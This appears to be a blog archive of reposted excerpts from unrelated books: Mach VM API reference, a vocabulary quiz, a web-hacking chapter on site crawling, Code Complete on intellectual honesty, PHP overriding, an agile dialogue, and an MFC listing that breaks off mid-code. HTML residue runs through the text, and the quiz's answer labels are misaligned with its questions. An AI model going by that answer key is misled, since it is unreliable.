    mach_vm_size_t    size;
};

typedef struct mach_vm_read_entry mach_vm_read_entry_t[VM_MAP_ENTRY_MAX];

8.6.8. `mach_vm_write()`

mach_vm_write() copies data from a caller-specified buffer to the given memory region in the target address space. The destination memory range must already be allocated and writable from the caller's standpointin that sense, this is more precisely an overwrite call.

kern_return_t
mach_vm_write(vm_map_t               target_task,
              mach_vm_address_t      address,
              vm_offset_t            data,
              mach_msg_type_number_t data_count);

8.6.9. `mach_vm_copy()`

mach_vm_copy() copies one memory region to another within the same task. The source and destination regions must both already be allocated. Their protection attributes must permit reading and writing, respectively. Moreover, the two regions can overlap. mach_vm_copy() has the same effect as a mach_vm_read() followed by a mach_vm_write().

kern_return_t
mach_vm_copy(vm_map_t          target_task,
             mach_vm_address_t source_address,
             mach_vm_size_t    count,
             mach_vm_address_t dest_address);

Comparing Mach VM Routines with Mach IPC Routines for Memory Transfer

Since large amounts of datatheoretically, entire address spacescan be transferred through Mach IPC, it is interesting to note the difference between Mach VM routines and Mach IPC messaging when sending data from one task to another. In the case of a Mach VM routine such as mach_vm_copy() or mach_vm_write(), the calling task must have send rights to the control port of the target task. However, the target task does not have to participate in the transferit can be passive. In fact, it could even be suspended. In the case of Mach IPC, the sender must have send rights to a port that the receiving task has receive rights to. Additionally, the receiving task must actively receive the message. Moreover, Mach VM routines allow memory to be copied at a specific destination address in the target address space.

8.6.10. `mach_vm_wire()`

mach_vm_wire() alters the given memory region's pageability: If the wired_access argument is one of VM_PROT_READ, VM_PROT_WRITE, VM_PROT_EXECUTE, or a combination thereof, the region's pages are protected accordingly and wired in physical memory. If wired_access is VM_PROT_NONE, the pages are unwired. Since wiring pages is a privileged operation, vm_wire() requires send rights to the host's control port. The host_get_host_priv_port() routine, which itself requires superuser privileges, can be used to acquire these rights.

kern_return_t
mach_vm_wire(host_priv_t       host,
             vm_map_t          target_task,
             mach_vm_address_t address,
             mach_vm_size_t    size,
             vm_prot_t         wired_access);

Unlike other Mach VM routines discussed so far, mach_vm_wire() is exported by the host_priv MIG subsystem.

8.6.11. `mach_vm_behavior_set()`

mach_vm_behavior_set() specifies the expected page reference behaviorthe access patternfor the given memory region. This information is used during page-fault handling to determine which pages, if any, to deactivate based on the memory access pattern.

kern_return_t
mach_vm_behavior_set(vm_map_t          target_task,
                     mach_vm_address_t address,
                     mach_vm_size_t    size,
                     vm_behavior_t     behavior);

The behavior argument can take the following values:

VM_BEHAVIOR_DEFAULT the default behavior for all nascent memory
VM_BEHAVIOR_RANDOM random access pattern
VM_BEHAVIOR_SEQUENTIAL sequential access (forward)
VM_BEHAVIOR_RSEQNTL sequential access (reverse)
VM_BEHAVIOR_WILLNEED will need these pages in the near future
VM_BEHAVIOR_DONTNEED will not need these pages in the near future

The kernel maps the VM_BEHAVIOR_WILLNEED and VM_BEHAVIOR_DONTNEED reference behavior specifications to the default behavior, which assumes a strong locality of reference.

mach_vm_behavior_set() is analogous to the madvise() system call. In fact, the Mac OS X madvise() implementation is a simple wrapper around the in-kernel equivalent of mach_vm_behavior_set().

Since the expected reference behavior is applied to a memory range, the behavior setting is recorded as part of the VM map entry structure (struct vm_map_entry [osfmk/vm/vm_map.h]). Upon a page fault, the fault handler uses the behavior setting to determine which, if any, of the active pages are uninteresting enough to be deactivated. This mechanism also uses the sequential and last_alloc fields of the VM object structure (struct vm_object [osfmk/vm/vm_object.h]). The sequential field records the sequential access size, whereas last_alloc records the last allocation offset in that object.

If the reference behavior is VM_BEHAVIOR_RANDOM, the sequential access size is always kept as the page size, and no page is deactivated.

If the behavior is VM_BEHAVIOR_SEQUENTIAL, the page-fault handler examines the current and last allocation offsets to see if the access pattern is indeed sequential. If so, the sequential field is incremented by a page size, and the immediate last page is deactivated. If, however, the access is not sequential, the fault handler resets its recording by setting the sequential field to the page size. No page is deactivated in this case. The handling of VM_BEHAVIOR_RSEQNTL is similar, except the notion of sequential is reversed.

In the case of VM_BEHAVIOR_DEFAULT, the handler attempts to establish an access pattern based on the current and last offsets. If they are not consecutive (in units of a page), the access is deemed random, and no page is deactivated. If they are consecutive, whether increasing or decreasing, the handler increments the sequential field by a page size. If the pattern continues and the recorded sequential access size exceeds MAX_UPL_TRANSFER (256) pages, the page that is MAX_UPL_TRANSFER pages away (behind or forward, depending on the direction) is deactivated. While the recorded sequential access size remains less than MAX_UPL_TRANSFER, no page is deactivated. If, however, the pattern is broken, the sequential access size is reset to the page size.

Page deactivation involves calling vm_page_deactivate() [osfmk/vm/vm_resident.c], which returns the page to the inactive queue.

8.6.12. `mach_vm_msync()`

mach_vm_msync() synchronizes the given memory range with its pager.

kern_return_t
mach_vm_msync(vm_map_t          target_task,
              mach_vm_address_t address,
              mach_vm_size_t    size,
              vm_sync_t         sync_flags);

The sync_flags argument is the bitwise OR of synchronization bits defined in <mach/vm_sync.h>. The following are examples of valid combinations.

VM_SYNC_INVALIDATE flushes pages in the given memory range, returning only precious pages to the pager and discarding dirty pages.
If VM_SYNC_ASYNCHRONOUS is specified along with VM_SYNC_INVALIDATE, both dirty and precious pages are returned to the pager, but the call returns without waiting for the pages to reach the backing store.
VM_SYNC_SYNCHRONOUS is similar to VM_SYNC_ASYNCHRONOUS, but the call does not return until the pages reach the backing store.
When either VM_SYNC_ASYNCHRONOUS or VM_SYNC_SYNCHRONOUS is specified by itself, both dirty and precious pages are returned to the pager without flushing any pages.
If VM_SYNC_CONTIGUOUS is specified, the call returns KERN_INVALID_ADDRESS if the specified memory range is not mapped in its entiretythat is, if the range has a hole in it. Nevertheless, the call still completes its work as it would have if VM_SYNC_CONTIGUOUS were not specified.

Precious Pages

A precious page is used when only one copy of its data is desired. There may not be a copy of a precious page's data both in the backing store and in memory. When a pager provides a precious page to the kernel, it means that the pager has not necessarily retained its own copy. When the kernel must evict such pages, they must be returned to the pager, even if they had not been modified while resident.

mach_vm_msync() is analogous to the msync() system call. In fact, the msync() implementation uses the in-kernel equivalent of mach_vm_sync(). POSIX.1 requires msync() to return an ENOMEM error if there are holes in the region being synchronized. Therefore, msync() always sets the VM_SYNC_CONTIGUOUS bit before calling the in-kernel version of mach_vm_msync(). If the latter returns KERN_INVALID_ADDRESS, msync() TRanslates the error to ENOMEM.

8.6.13. Statistics

System-wide VM statistics can be retrieved using the HOST_VM_INFO flavor of the host_statistics() Mach routine. The vm_stat command-line program also displays these statistics.

$ vm_stat
Mach Virtual Memory Statistics: (page size of 4096 bytes)
Pages free:                   144269.
Pages active:                 189526.
Pages inactive:               392812.
Pages wired down:              59825.
"Translation faults":       54697978.
Pages copy-on-write:          800440.
Pages zero filled:          38386710.
Pages reactivated:            160297.
Pageins:                       91327.
Pageouts:                       4335.
Object cache: 205675 hits of 378912 lookups (54% hit rate)

mach_vm_region() returns information about a memory region in the given address space. The address argument specifies the location at which mach_vm_region() starts to look for a valid region. The outbound values of address and size specify the range of the region actually found. The flavor argument specifies the type of information to retrieve, with info pointing to a structure appropriate for the flavor being requested. For example, the VM_REGION_BASIC_INFO flavor is used with a vm_region_basic_info structure. The count argument specifies the size of the input buffer in units of natural_t. For example, to retrieve information for the VM_REGION_BASIC_INFO flavor, the size of the input buffer must be at least VM_REGION_BASIC_INFO_COUNT. The outbound value of count specifies the size of the data filled in by the call.

kern_return_t
mach_vm_region(vm_map_t                target_task,
               mach_vm_address_t      *address,
               mach_vm_size_t         *size,
               vm_region_flavor_t      flavor,
               vm_region_info_t        info,
               mach_msg_type_number_t *info_count,
               mach_port_t            *object_name);

Note that a task should be suspended before mach_vm_region() is called on it, otherwise the results obtained may not provide a true picture of the task's VM situation.

The mach_vm_region_recurse() variant recurses into submap chains in the given task's address map. The vmmap command-line program uses both variants to retrieve information about the virtual memory regions allocated in the given process.

Section 2: Word Families

2009-11-13T07:50:00.031-08:00

Section 2: Word Families

Section 2 of Vocabulary Basics groups words into families, words that are related because they express related ideas. While you continue to build familiarity with a set of words for future understanding and use, you will examine relationships among words, using techniques that can be applied to many concepts and word families as you continue to develop your verbal abilities.

Three ways to think about words are covered in these lessons:

contrasts

categories

shades of meaning

In Lesson 7, you will contrast words and groups of words about communicating. Words about sending and receiving, positive and negative communications, and asking and answering are among those covered. The importance of communications in today's society cannot be overemphasized. Technological developments have made the communication of messages faster and wider-reaching than ever before.

In Lesson 8, you will examine relationships among words that describe size and amount, categorize them, and put them "in order." You will learn that some words meaning "big," "small," "many," or "few" are usually used in specific situations. We call a small sum of money paltry, but we wouldn't call a small animal or person or house paltry.

In Lesson 9, you will compare words that describe importance, which are not easily put in order and are often used only in certain contexts. Importance is not a concrete entity that can be weighed and measured. Consequently, words related to this concept must express the "weight" of importance through differences in meaning that may be subtle or slight, but significant. You will examine words related to degrees of importance and understand differences in shades of meaning.

WHAT DO YOU KNOW?

TRUE OR FALSE?

Circle T or F to indicate whether each of the following statements is true or false. On a separate sheet of paper, state why you chose that answer.

Q1:

T

F

1. All words are neutral. They become positive or negative only by virtue of the way they are used.

A1:

F

Q2:

T

F

2. Imply refers to what a speaker does. Infer refers to what a listener does.

A2:

T

Q3:

T

F

3. Excessive, exorbitant, extravagant, and immoderate all mean "too many" or "too much."

A3:

T

Q4:

T

F

4. The words some, several, and numerous are in order of quantity, from fewest to most.

A4:

F

MULTIPLE CHOICE

Circle the letter next to the answer that best completes the sentence.

1:
Because the speaker ________________ from his topic, the audience had difficulty following his logic.

(a) delineated

(b) digressed

(c) revealed

(d) dictated

A1:

The ________________ child was smaller than his playmates, but was healthy and happy.

(a) miniature

(b) heavy

(c) diminutive

(d) puny

A2:

The ________________ feature of the product is its ease of use.

(a) urgent

(b) eminent

(c) salient

(d) imminent

A3:

Step 1: Crawling the Web Site

2009-11-13T07:50:00.029-08:00

Step 1: Crawling the Web
Site

Crawling a Web site begins with the first page and involves
following every link found. For the mathematically inclined, class=docemphasis1>crawling a site is the same as performing a breadth first
search on a connected directional graph. A crawler
is a program that automates this process. Think of it as a browser that can
click on each link of the Web page by itself and traverse all the pages in the
Web site. The crawler sends an HTTP "GET" request to a page, parses
the HTML received, extracts all the hyperlinks from it, and recursively
performs the same action on each link.

Crawlers can be quite sophisticated. Instead of simply
following links, they can also mirror an entire Web site on the local hard
drive and extract other elements such as comments, client-side scripts, and
HTML comments. We discussed some of these techniques in style='color:#003399'>Chapter 7.

Crawling
a Site Manually

If a Web site doesn't contain many pages, you can follow the
hyperlinks by simply using a browser to making a list of them. This technique
is more accurate than using a crawler to gather links. One of the main
drawbacks of automated crawling is that crawlers can't interpret client-side
scripts, such as JavaScript, and the hyperlinks they contain.

A
Closer Look at the HTTP Response Header

Each HTTP response has two parts�namely, the HTTP response
header and data content. Usually, data content is presented in HTML, but it
also can be a byte block representing a GIF image or another object. Crawlers
rely heavily on HTTP response headers while crawling a site. Consider this HTTP
response header:

HTTP/1.1 200 OK

Server: Microsoft-IIS/5.0

Date: Sat, 16 Mar 2002 18:08:35 GMT

Connection: Keep-Alive

Content-Length: 496

Content-Type: text/html

Set-Cookie: ASPSESSIONIDQQGGGRHQ=DPHDNEMBEEHDNFMOPNPKIPHN; path=/

Cache-control: private

The first item to be inspected in the HTTP response header is the
HTTP response code, which appears in the first line of the HTTP response
header. In the preceding code snippet, the HTTP response code is
"200," which signifies that the HTTP request was processed properly
and that the appropriate response was generated. If the response code indicates
an error, the error occurred when requesting the resource. A "404"
response code indicates that the resource doesn't exist. A "403"
response code signifies that the resource is blocked from requests, but
nonetheless is present. Other HTTP response codes indicate that the resource
may have relocated or that some extra privileges are required to request that
resource. A crawler has to pay attention to these response codes and determine
whether to crawl farther.

The next bit of important information returned in the HTTP
response header, from a crawler's perspective, is the Content-Type field. It
indicates the type of a resource represented by the data in the HTTP content
that follows the HTTP response header. Again, the crawler has to pay attention
to the Content-Type. A crawler attempting to extract links from a GIF file
makes no sense, and crawlers usually pay attention only to
"text/html" content.

Some
Popular Tools for Site Linkage Analysis

Several commercial tools are available for use with crawling
Web applications. We describe a few of the tools and discuss some of their key
features in this section.

GNU
wget

GNU wget is a simple
command-line crawler and is available along with source code on http://www.wget.org/.
Although wget was primarily intended for Unix
platforms, a Windows binary is also available. Recall that we took a look at class=docemphasis1>wget in style='color:#003399'>Chapter 7, where we used it for mirroring a
Web site locally and searching for patterns within the retrieved HTML data for
source sifting. The advantages offered by wget
are that it is simple to use, a command-line tool, and available on both Unix
and Windows platforms. It also is very easy to use in shell scripts or batch
files to further automate linkage analysis tasks.

Because wget offers the
ability to mirror Web site content, we can run several commands or scripts on
the mirrored content for various types of analysis.

BlackWidow
from SoftByteLabs

SoftByteLabs' BlackWidow is a very fast Web site crawler for
the Windows platform. The crawling engine is multithreaded and retrieves Web pages
in parallel. BlackWidow also performs some basic source sifting techniques such
as those discussed in style='color:#003399'>Chapter 7. style='color:#003399'>Figure 8-2 shows BlackWidow crawling http://www.foundstone.com/.
On its tabs, you can view the progress of the crawling, thread by thread.

style='font-size:10.5pt;font-family:Arial'>Figure 8-2. Blackwidow crawling one
site with multiple threads

style='color:#003399'>Figure 8-3 shows the site structure in a
collapsible tree format. It helps us analyze how resources are grouped on the
Web site. The BlackWidow GUI has other tabs that show e-mail addresses that are
present on the pages, external links, and errors in retrieving links, if any.
As with GNU wget, BlackWidow also can be used
to mirror a Web site where URLs occurring within hyperlinks are rewritten for
accessibility from the local file system.

style='font-size:10.5pt;font-family:Arial'>Figure 8-3. Structure of
http://www.acme.com/

Funnel
Web Profiler from Quest Software

Funnel Web Profiler from Quest Software can perform an
exhaustive analysis of a Web site. Quest Software has a trial version of Funnel
Web Profiler available for download from http://www.quest.com. style='color:#003399'>Figure 8-4 shows a Funnel Web Profiler in
action running on style='color:#003399'>http://www.foundstone.com/. This tool has a
nice graphical user interface, which provides information such as content
grouping, a Web site map, cross-references, a crawled statistics list view, and
a tree view, among other things.

style='font-size:10.5pt;font-family:Arial'>Figure 8-4. Funnel Web Profiler,
showing scan statistics for style='color:#003399'>http://www.foundstone.com/

After the Web site scan is completed, Funnel Web Profiler
aggregates the information gathered and presents various representations and
statistics about the site information. For example, clicking on the Web Map tab
shows a graphical layout of the Web site and the pages in it. style='color:#003399'>Figure 8-5 shows the Web map of http://www.foundstone.com/.
Each Web resource is represented as a node, and the entire Web map shows how
each node is linked with other nodes. The Web map presents a visual
representation of the Web site and reveals the layout and linking of resources.

style='font-size:10.5pt;font-family:Arial'>Figure 8-5. Funnel Web Profiler's
Web map for style='color:#003399'>http://www.foundstone.com/

The Web map contains a cluster of linked nodes, with each
node's starting point identified. The top right corner gives a thumbnail
representation of the full Web map. It also allows the user to zoom in for a
more detailed view.

If we click on the List tab, we get a tabular list of all the
Web resources on style='color:#003399'>http://www.foundstone.com/, along with other
information such as the type of resource, its size in bytes, and when it was
modified. style='color:#003399'>Figure 8-6 displays the list view of http://www.foundstone.com/.

style='font-size:10.5pt;font-family:Arial'>Figure 8-6. List view of Web
resources on style='color:#003399'>http://www.foundstone.com/

Step-1
Wrap-Up

Some other tools�which we haven't covered in detail but are
worth mentioning�are Teleport Pro from Tennyson Maxwell (http://www.tenmax.com/)
and Sam Spade (style='color:#003399'>http://www.samspade.org/). Teleport Pro runs
on the Windows platform and is primarily used for mirroring Web sites. Teleport
Pro allows users to define individual projects for mirroring sites. Site
mirroring is quite fast with Teleport Pro's multithreaded mirroring engine. Sam
Spade is also a Windows-based tool that allows basic site crawling and
source-sifting. We now have quite a lot of information for performing thorough
analysis. Let's see what we can do with all this information.

style='width:90.0%'>

style='font-size:16.5pt;font-family:Arial'>Crawlers and Redirection

Automated Web crawlers sometimes get thrown off track when
they encounter unusual linking techniques and page redirection. A few
"smart" crawlers, however, can interpret these anomalies accurately
and provide good crawled results. For example, a crawler may get confused
when a redirection is encountered in a client-side script, because crawlers
don't usually interpret client-side scripts such as JavaScript or VBScript.

The following JavaScript code snippet has a redirection
directive, which gets interpreted and executed on the browser:

<SCRIPT LANGUAGE="JavaScript">

location.replace("./index.php3");

</script>

It instructs the browser to request index.php3. It will do
so only if the JavaScript execution is enabled within the browser. When a
crawler encounters this instruction, it won't be able to interpret and
execute the location.replace() statement and it will fail to crawl
index.php3.

However, if the redirection is performed by techniques such
as a Content-Location header response or an HTML <META> tag, the
crawler could look for them and crawl the pages accordingly.

The following two examples illustrate redirection with the
HTTP response header and the <META> tag, respectively.

style='color:black;display:none'>

style='width:90.0%'>

Redirection by Content-Location

The code snippet for this procedure is:

HTTP/1.1 200 OK

Server: Microsoft-IIS/5.0

  lang=EN-GB>Date: Wed, 27 Mar 2002 08:13:01 GMT

  lang=EN-GB>Connection: Keep-Alive

Content-Location: http://www.example.com/example/index.asp

  lang=EN-GB>Set-Cookie: ASPSESSIONIDQQGQGIWC=LNDJBOLAIFDAKJDBNDINOABF; path=/

  lang=EN-GB>Cache-control: private

Here we sent a GET request to a server,
www.example.com, and requested the default Web resource on its root directory.
Examining the header of the HTTP response, we see that it has a special
field, Content-Location. This particular field forces the browser to request
the URL http://www.example.com/example/index.asp.

style='color:black;display:none'>

style='width:90.0%'>

Redirection by HTTP-EQUIV

We can insert <META> tags of several
types in the HTML header section The most common use of <META> tags is
to list keywords associated with the HTML document. However, <META>
tags can also be used for redirection. Using the HTTP-EQUIV clause within a
<META> tag redirects the browser to a URL contained in it. The
following <META> tag instructs the browser to refresh to
http://www.yahoo.com/ after two seconds:

<META HTTP-EQUIV=Refresh CONTENT="2; url=http://www.yahoo.com/">

Smart crawlers implement methods to parse redirection
responses such as those shown in the preceding examples. However, some
crawlers such as GNU wget are unable to
handle tags with HTTP redirection.

33.4. Intellectual Honesty

2009-11-13T07:50:00.027-08:00

< Free Open Study >

33.4. Intellectual Honesty

Part of maturing as a programming professional is developing an uncompromising sense of intellectual honesty. Intellectual honesty commonly manifests itself in several ways:

Refusing to pretend you're an expert when you're not
Readily admitting your mistakes
Trying to understand a compiler warning rather than suppressing the message
Clearly understanding your program�not compiling it to see if it works
Providing realistic status reports
Providing realistic schedule estimates and holding your ground when management asks you to adjust them

The first two items on this list�admitting that you don't know something or that you made a mistake�echo the theme of intellectual humility discussed earlier. How can you learn anything new if you pretend that you know everything already? You'd be better off pretending that you don't know anything. Listen to people's explanations, learn something new from them, and assess whether they know what they are talking about.

Be ready to quantify your degree of certainty on any issue. If it's usually 100 percent, that's a warning sign.

Refusing to admit mistakes is a particularly annoying habit. If Sally refuses to admit a mistake, she apparently believes that not admitting the mistake will trick others into believing that she didn't make it. The opposite is true. Everyone will know she made a mistake. Mistakes are accepted as part of the ebb and flow of complex intellectual activities, and as long as she hasn't been negligent, no one will hold mistakes against her.

Any fool can defend his or her mistakes�and most fools do.
�Dale Carnegie

If she refuses to admit a mistake, the only person she'll fool is herself. Everyone else will learn that they're working with a prideful programmer who's not completely honest. That's a more damning fault than making a simple error. If you make a mistake, admit it quickly and emphatically.

Pretending to understand compiler messages when you don't is another common blind spot. If you don't understand a compiler warning or if you think you know what it means but are too pressed for time to check it, guess what's really a waste of time? You'll probably end up trying to solve the problem from the ground up while the compiler waves the solution in your face. I've had several people ask for help in debugging programs. I'll ask if they have a clean compile, and they'll say yes. Then they'll start to explain the symptoms of the problem, and I'll say, "Hmmmm. That sounds like it would be an uninitialized pointer, but the compiler should have warned you about that." Then they'll say, "Oh yeah�it did warn about that. We thought it meant something else." It's hard to fool other people about your mistakes. It's even harder to fool the computer, so don't waste your time trying.

A related kind of intellectual sloppiness occurs when you don't quite understand your program and "just compile it to see if it works." One example is running the program to see whether you should use < or <=. In that situation, it doesn't really matter whether the program works because you don't understand it well enough to know why it works. Remember that testing can show only the presence of errors, not their absence. If you don't understand the program, you can't test it thoroughly. Feeling tempted to compile a program to "see what happens" is a warning sign. It might mean that you need to back up to design or that you began coding before you were sure you knew what you were doing. Make sure you have a strong intellectual grip on the program before you relinquish it to the compiler.

The first 90 percent of the code accounts for the first 90 percent of the development time. The remaining 10 percent of the code accounts for the other 90 percent of the development time.
�Tom Cargill

Status reporting is an area of scandalous duplicity. Programmers are notorious for saying that a program is "90 percent complete" during the last 50 percent of the project. If your problem is that you have a poor sense of your own progress, you can solve it by learning more about how you work. But if your problem is that you don't speak your mind because you want to give the answer your manager wants to hear, that's a different story. A manager usually appreciates honest observations about the status of a project, even if they're not the opinions the manager wants to hear. If your observations are well thought out, give them as dispassionately as you can and in private. Management needs to have accurate information to coordinate development activities, and full cooperation is essential.

cc2e.com/3341

An issue related to inaccurate status reporting is inaccurate estimation. The typical scenario goes like this: Management asks Bert for an estimate of how long it would take to develop a new database product. Bert talks to a few programmers, crunches some numbers, and comes back with an estimate of eight programmers and six months. His manager says, "That's not really what we're looking for. Can you do it in a shorter time, with fewer programmers?" Bert goes away and thinks about it and decides that for a short period he could cut training and vacation time and have everyone work a little overtime. He comes back with an estimate of six programmers and four months. His manager says, "That's great. This is a relatively low-priority project, so try to keep it on time without any overtime because the budget won't allow it."

The mistake Bert made was not realizing that estimates aren't negotiable. He can revise an estimate to be more accurate, but negotiating with his boss won't change the time it takes to develop a software project. IBM's Bill Weimer says, "We found that technical people, in general, were actually very good at estimating project requirements and schedules. The problem they had was defending their decisions; they needed to learn how to hold their ground" (Weimer in Metzger and Boddie 1996). Bert's not going to make his manager any happier by promising to deliver a project in four months and delivering it in six than he would by promising and delivering it in six. He'll lose credibility by compromising, and he'll gain respect by standing firm on his estimate.

If management applies pressure to change your estimate, realize that ultimately the decision whether to do a project rests with management: "Look. This is how much it's going to cost. I can't say whether it's worth this price to the company�that's your job. But I can tell you how long it takes to develop a piece of software�that's my job. I can't 'negotiate' how long it will take; that's like negotiating how many feet are in a mile. You can't negotiate laws of nature. We can, however, negotiate other aspects of the project that affect the schedule and then reestimate the schedule. We can eliminate features, reduce performance, develop the project in increments, or use fewer people and a longer schedule or more people and a shorter schedule."

One of the scariest exchanges I've ever heard was at a lecture on managing software projects. The speaker was the author of a best-selling software-project-management book. A member of the audience asked, "What do you do if management asks for an estimate and you know that if you give them an accurate estimate they'll say it's too high and decide not to do the project?" The speaker responded that that was one of those tricky areas in which you had to get management to buy into the project by underestimating it. He said that once they'd invested in the first part of the project, they'd see it through to the end.

Wrong answer! Management is responsible for the big-picture issues of running a company. If a certain software capability is worth $250K to a company and you estimate it will cost $750K to develop, the company shouldn't develop the software. It's management's responsibility to make such judgments. When the speaker advocated lying about the project's cost, telling management it would cost less than it really would, he advocated covertly stealing management's authority. If you think a project is interesting, breaks important new ground for the company, or provides valuable training, say so. Management can weigh those factors, too. But tricking management into making the wrong decision could literally cost the company hundreds of thousands of dollars. If it costs you your job, you'll have gotten what you deserve.

< Free Open Study >

Overriding Methods

2009-11-13T07:50:00.025-08:00

Overriding Methods

What if you're deriving a new class from a base class and happen to create a method in the new class with the same name as a method in the base class? In that case, you override the base class's method, and objects of the new class use the new method instead of the base class's method.

For example, here's the set_name method in the Animal class:


function set_name($text)
{
    $this->name = $text;
}

Now that we've created a new Lion class, we might decide it would be more befitting a lion's status to have its name in all capital letters. Thus, we might add a new method, also called set_name, to the Lion class, which converts the name you pass it to all capital letters using the strtoupper method:


function set_name($text)
{
    $this->name = strtoupper($text);
}

Now when you call set_name using an object of the Lion class, the Lion class's version of the set_name method is called, not the base class's version. You can see that at work in phpoverride.php, Example 7-4.

Example 7-4. Overriding methods, phpoverride.php


<HTML>
    <HEAD>
        <TITLE>
            Overriding methods
        </TITLE>
    </HEAD>

    <BODY>
        <CENTER>
            <H1>
                Overriding methods
            </H1>
            <?php
                class animal
                {
                    var $name;

                    function set_name($text)
                    {
                        $this->name = $text;
                    }
                    function get_name()
                    {
                        return $this->name;
                    }
                }
                class Lion extends Animal
                {
                    var $name;

                    function roar()
                    {
                        echo $this->name, " is roaring!<BR>";
                    }

                    function set_name($text)
                    {
                        $this->name = strtoupper($text);
                    }
                }

                echo "Creating your new lion...<BR>";
                $lion = new Lion;
                $lion->set_name("Leo");
                $lion->roar();
            ?>
        </CENTER>
    </BODY>
</HTML>

The results appear in Figure 7-4note that the overridden version of the method was indeed executed.

Figure 7-4. Overriding methods.

[View full size image]

Principles and Practices

2009-11-13T07:50:00.023-08:00

< Day Day Up >

Principles and Practices

"Hi, Maya, it's Herman."

"Hi, dude, how's your project going?" asked Maya.

"Pretty well. Things are actually moving along. We've implemented a few of the agile practices. But you know, I'm just an action kind of guy. Just explain the practices to me. The principles stuff still seems like fluff."

"I thought they were fluff, too, at the beginning," Maya responded. "But once you've used APM for a while, you'll understand that it's the principles that make the practices flexible."

"OK, apply principles to iteration planning."

"Think about Deliver Customer Value. For us, this principle guides the selection of features. We're constantly asking ourselves whether one feature is more valuable than the next."

"But won't most of the features ship anyway?"

"Possibly, but we keep two things in mind. Sometimes we release incremental versions, and the goal of always having a releasable product really keeps us on our toes."

"Isn't early release unlikely?" Herman asked.

"Mostly, but last summer we had a customer with a critical problem. We were able to take a product that was three-quarters finished, do a couple of quick special features for the customer, and deliver it in three weeks. The customer was blown away, and this one spends megabucks."

"So, on to the Employ Iterative, Feature-Based Delivery principle. That seems redundant with the practice to me, but maybe that just reinforces its importance."

"That's the general idea. See, you already understand this stuff, Herman! You just don't trust it yet." Maya grinned to herself. She knew it was hard for Herman, who worked for a 75-year-old insurance firm, to break with the conservative, traditional approach that Great Mid-West had always taken to everything, but he was trying, and she gave him lots of credit.

"That's fine as far as it goes, but does this scale? You and I both know that any competent PM can complete a small, short-term project on force of will alone, but that all changes when you scale the whole thing up."

"Yeah, but that's where the Simplify principle comes in. It's how you scale everything up without tripping over yourself and your process. For example, on Jupiter, the new project I'm running, we have a big team. And to make matters worse, one feature team is distributed. Adopting a collaboration strategy was a given, but we also figured that we might need some additional documentation to keep everyone in sync."

Herman interrupted with a "See, I told you so."

"But the Simplify principle keeps it from turning into the pounds of paperwork you generate," Maya laughed. "We're bears about using the simplest documentation that accomplishes the goal. We work with just a few documents and keep them as informal as we can. Then we adapt them from time to time as we find what works and what doesn't."

"So, you use the principles to help adapt practices to specific situations," Herman said.

"Right. Without these guiding principles we could get hung up on the specific practices instead of understanding the intent of the practices. They keep us from going overboard."

"One I really get hung up on is Encourage Exploration," Herman replied. "This whole notion of responding to change over following a plan, of actually embracing change, is really foreign."

"That's a tough one," said Maya. "We can respond to change and deliver reliably. It's all in how you look at the relationship between uncertainty and time."

"My management doesn't care. They just want a commitment," said Herman.

"There is no way around the fact that the higher the uncertainty, the wider the potential schedule variation," said Maya. "It's too bad you aren't here�I need a whiteboard to draw this, but imagine that the probability curve of schedules is a skewed distribution curve, one with a long tail of possible very late delivery dates. High exploration-factor projects have a lot of possible dates based upon technology and requirements volatility."

"Everyone around here just assumes a project is a project is a project. There's no allowance for riskier projects�we just get the mantra 'on time, on budget, on scope' over and over. It's like a broken record."

"Don't remind me. Hopefully we're past that. In effect, the role of dates changes. In low-uncertainty projects, dates are predictions. For high-uncertainty projects, dates are boundaries, as in 'We will deliver as many features as possible by June.' Does that make sense?"

"I think I understand, but I'm not sure if the folks around here will get it," Herman said.

"It took us a while to work through it, too," Maya continued. "That's why the principle Encourage Exploration is critical to reducing people's anxiety. I have to keep encouraging people and reminding them that responding to change is part of our day-to-day work. We always have a few people from a conformance-to-plan type organization who get a little crazy at first. We project managers have to encourage them."

"Lots to think about," said Herman. "Bye for now."

< Day Day Up >

6.4 Using Threads in GUI Applications

2009-11-13T07:50:00.021-08:00

< BACK NEXT >

[oR]

6.4
Using Threads in GUI Applications

The book entitled Visual C++: Developing Professional Applications for Windows 98 and NT using MFC, by Marshall Brain and Lance Lovette (ISBN 0-13-085121-3), shows how to use C++ and the Microsoft Foundation Class library to create GUI applications for Windows. In this section we will look at two different ways to use threads in a typical GUI application.

Listing 6.6 contains the code for a simple Mandelbrot set program that does not use threads. See Appendix A for compilation instructions. When you run this program, you can choose the Draw option in the File menu to cause the window to redraw. Unless you are working with a very zippy machine, do not initially make the window any larger than its default size. Now resize the window so that redrawing takes between 10 and 15 seconds.

Listing 6.6 A simple Mandelbrot set program created with the MFC class hierarchy and C++


// mandel0.cpp

#include <afxwin.h>
#include "menus.h"
#define NUM_ITERATIONS 64

const double left = -1.0;
const double right = 1.0;
const double top = -1.0;
const double bottom = 1.0;

DWORD colors[64];

typedef struct
{
   double real;
   double imag;
} complex;

// Define the application object class
class CManApp : public CWinApp
{
public:
  virtual BOOL InitInstance();
};

// Define the edit window class
class CManWindow : public CFrameWnd
{
public:
   CManWindow();
   void RunMandel();
   void SetPix(int x, int y, WORD iter);
   afx_msg void OnPaint();
   afx_msg void OnDoDraw();
   afx_msg void OnExit();
   DECLARE_MESSAGE_MAP()
};

// Create an instance of the application object
CManApp manApp;

// member function used to set pixel colors in
// the window
void CManWindow::SetPix(int x, int y, WORD iter)
{
   CClientDC dc(this);
   dc.SetPixel(x, y, colors[iter]);
}

// member function used to redraw the
// mandelbrot set
void CManWindow::RunMandel()

{
   CRect r;
   double xstep, ystep;
   double x, y;
   int i,j;
   WORD iter;
   complex k;
   complex z;
   double real, imag, spread;

   GetClientRect(&r);

   ystep = (double) (bottom - top) / r.Height();
   xstep = (double) (right - left) / r.Width();

   for (y=top, j=0; y <= bottom; y += ystep, j++)
   {
     for (x=left, i=0; x<=right; x += xstep, i++)
     {
       k.real = x;
       k.imag = y;
       z.real=z.imag=0.0;

       for (iter=0; iter<NUM_ITERATIONS-1;
         iter++)
       {
         real = z.real + k.real;
         imag = z.imag + k.imag;
         z.real = real * real -
            imag * imag;
         z.imag = 2 * real * imag;
         spread = z.real * z.real +
           z.imag * z.imag;
         if (spread > 4.0)
           break;
       }
       ((CManWindow *)manApp.m_pMainWnd)->
          SetPix(i, j, iter);
     }
   }
}

// The message map
BEGIN_MESSAGE_MAP(CManWindow, CFrameWnd)
   ON_WM_PAINT()
   ON_COMMAND(IDM_DODRAW, OnDoDraw)
   ON_COMMAND(IDM_EXIT, OnExit)
